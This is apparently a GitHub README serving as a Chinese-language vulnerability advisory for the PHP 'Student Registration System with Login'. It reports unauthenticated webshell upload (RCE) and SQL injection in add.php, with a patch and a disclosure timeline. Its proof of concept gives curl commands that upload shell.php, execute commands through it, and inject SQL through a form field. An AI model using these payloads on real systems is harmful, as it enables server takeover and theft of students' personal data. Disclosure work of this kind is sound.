Kimdir01/student-registration-rce-sqli-cve
GitHub: Kimdir01/student-registration-rce-sqli-cve
针对学生注册系统的未授权 RCE 与 SQL 注入漏洞 PoC,涵盖漏洞分析、复现步骤及修复补丁。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX
## 学生注册系统中的未授权任意文件上传 (RCE) + SQL 注入
### 漏洞公告信息
| 字段 | 值 |
|-------|-------|
| **生态系统** | PHP |
| **包/产品** | Student Registration System with Login |
| **受影响版本** | 截至提交 `67f34dd` 的所有版本 |
| **修复版本** | 无 |
| **严重性** | **严重 (CVSS 9.8)** |
| **CWE** | CWE-434 (无限制文件上传) + CWE-89 (SQL 注入) + CWE-306 (缺失身份验证) |
| **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **代码库** | https://github.com/kushkrg/student-registration-system-with-login-system |
| **星标** | 29 ⭐ |
### 摘要
学生注册系统在 `add.php` 中存在严重漏洞:允许未授权任意文件上传以部署 PHP webshell,以及学生数据 INSERT 查询中的 SQL 注入。文件 `add.php` 没有身份验证检查、没有 MIME 验证,也没有进行 SQL 转义——尽管该项目在 `login.php` 和 `register.php` 中使用了预处理语句。
### 受影响组件
| 字段 | 值 |
|-------|-------|
| **生态系统** | PHP |
| **包** | kushkrg/student-registration-system-with-login-system |
| **供应商** | kushkrg |
| **受影响版本** | 所有 |
| **修复版本** | 无 |
| **文件** | `add.php`, `index.php`, `edit.php` |
### 描述
`add.php` 处理学生注册表单提交时没有进行身份验证检查和输入净化:
**漏洞 #1 — 无限制文件上传 (CWE-434):**
```
// add.php — NO auth, NO MIME check, NO extension validation
$image = $_FILES['image']['name'];
$target = "upload_images/".basename($image);
if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
// File saved — attacker can upload shell.php
}
```
**漏洞 #2 — SQL 注入 (CWE-89):**
```
// add.php — raw $_POST values in SQL, no escaping
$insert_data = "INSERT INTO student_data(u_card, u_f_name, u_l_name, ...)
VALUES ('$u_card','$u_f_name','$u_l_name',...,'$image',NOW())";
$run_data = mysqli_query($con, $insert_data);
```
**注意:** `login.php` 和 `register.php` 使用了带有绑定参数的 `mysqli_prepare()` —— 开发者了解预处理语句,但在数据录入文件中却省略了它们。
### 概念验证
**步骤 1 — 上传 PHP webshell:**
```
curl -X POST "http://target/add.php" \
-F "image=@shell.php" \
-F "submit=1" \
-F "card_no=1337" \
-F "user_first_name=test"
# Webshell 上传至 upload_images/shell.php
```
**步骤 2 — 执行命令:**
```
curl "http://target/upload_images/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)
```
**步骤 3 — 通过 add.php 进行 SQL 注入 (任意 INSERT):**
```
# 注入任意学生记录 — 演示 add.php 中的 SQLi
curl -X POST "http://target/add.php" \
-F "image=@test.jpg" \
-F "submit=1" \
-F "card_no=1337" \
-F "user_first_name=test" \
-F "user_last_name=test',NOW()) -- " \
-F "user_father=x" \
-F "user_aadhar=x" \
-F "user_dob=2000-01-01" \
-F "user_gender=M" \
-F "user_email=x@x.com" \
-F "user_phone=1" \
-F "state=x" \
-F "dist=x" \
-F "village=x" \
-F "police_station=x" \
-F "pincode=1" \
-F "user_mother=x" \
-F "family=x" \
-F "staff_id=1"
# 执行的 SQL: INSERT INTO student_data(...) VALUES (...'test',NOW()) -- ',...)
# 注入任意值 / 通过 SQL 注释绕过验证
```
### 影响
| CIA | 级别 | 描述 |
|-----|-------|-------------|
| 机密性 | **高** | 通过 webshell 进行文件上传 RCE —— 读取包含数据库在内的任何服务器文件 |
| 完整性 | **高** | SQLi:任意 INSERT 到 student_data + RCE:修改任何文件 |
| 可用性 | **高** | RCE:删除文件,删除表,摧毁服务器 |
**面临风险的数据:** 学生 Aadhar 号码、出生日期、地址、电话号码、电子邮件、照片 —— 可通过 webshell 读取文件获取全部 PII。
### 补丁
```
+ session_start();
+ if(!isset($_SESSION['loggedin'])) { header("Location: login.php"); exit; }
+ $allowed = ['jpg','jpeg','png','gif'];
+ $ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
+ if(!in_array($ext, $allowed)) { die("Invalid file type"); }
- $insert_data = "INSERT INTO ... VALUES ('$u_card',...)";
- mysqli_query($con, $insert_data);
+ $stmt = mysqli_prepare($con, "INSERT INTO ... VALUES (?,?,...)");
+ mysqli_stmt_bind_param($stmt, "sss...", $u_card, ...);
+ mysqli_stmt_execute($stmt);
```
### 参考
| 类型 | URL |
|------|-----|
| 代码库 | https://github.com/kushkrg/student-registration-system-with-login-system |
| 漏洞文件 | https://github.com/kushkrg/student-registration-system-with-login-system/blob/main/add.php |
| CWE-434 | https://cwe.mitre.org/data/definitions/434.html |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
| CWE-306 | https://cwe.mitre.org/data/definitions/306.html |
### 验证
```
git clone https://github.com/kushkrg/student-registration-system-with-login-system && cd *
grep -n "move_uploaded_file" add.php # line 32 — no auth, no MIME
grep -n "mysqli_query.*INSERT" add.php # line 38 — raw SQL
head -5 add.php # no session_start
grep -n "mysqli_prepare" login.php # dev knows prepared stmts
```
### 时间线
| 日期 | 事件 |
|------|-------|
| 2026-06-28 | 发现并验证漏洞 |
| 2026-06-28 | 通过非公开披露通知供应商 |
| TBD | 供应商确认/回复 |
| TBD | 分配 CVE ID |
| TBD + 90 天 | 协调公开披露 |
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL
AV:N — Remote over HTTP
AC:L — Simple POST request
PR:N — No authentication (add.php no session check)
UI:N — No user interaction
S:U — Same security context
C:H — File upload RCE via webshell: read any file (database, student PII)
I:H — SQLi: arbitrary INSERT + RCE: modify any server file
A:H — SQLi: INSERT garbage data + RCE: delete files, drop tables
```
标签:CISA项目, OpenVAS, PHP, PoC, Web安全, 文件上传, 暴力破解, 蓝队分析